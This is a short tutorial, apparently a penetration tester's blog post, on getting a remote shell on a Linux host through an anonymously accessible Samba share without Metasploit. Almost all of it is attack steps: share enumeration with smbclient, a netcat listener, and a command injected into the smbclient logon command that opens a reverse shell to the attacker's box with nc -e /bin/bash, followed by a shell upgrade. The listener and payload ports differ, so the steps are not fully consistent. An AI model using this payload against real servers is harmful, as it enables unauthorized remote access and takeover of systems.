Exploiting SMB(samba) without Metasploit series -1

This post is about exploitation smb port 445 running on remote Linux system, our target is take remote access via unprotected samba server without using any exploitation tool or framework


How to use netcat


Step 1. Scan target machine and check for SMB open port, in my case target ip is

Target m/c →

Attacker m/c → (kali linux)

kindly note that all task has bene performed inside attacker m/c

Use SMB client and check for anonymous access

smbclient -L

{password is othing just hit enter}

since we know that “tmp” directory is present and there anonymous access over system let

let’s open netcat for accepting reverse connection in terminal -1

nc -lvp 7777

In terminal 2 Let take access to tmp directory directly on samba server using

smbclient //

type help command in terminal 2

Since logon command is there we can make reverse connection using the same

logon “/=`nc ‘attack box ip’ 4444 -e /bin/bash`"

in terminal 1 you will get reverse shell

Type following command to take terminal view from shell in terminal 1

python -c “import pty;pty.spawn(‘/bin/bash’);”

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Security Engineer | Penetration Tester | Red Team

Security Engineer | Penetration Tester | Red Team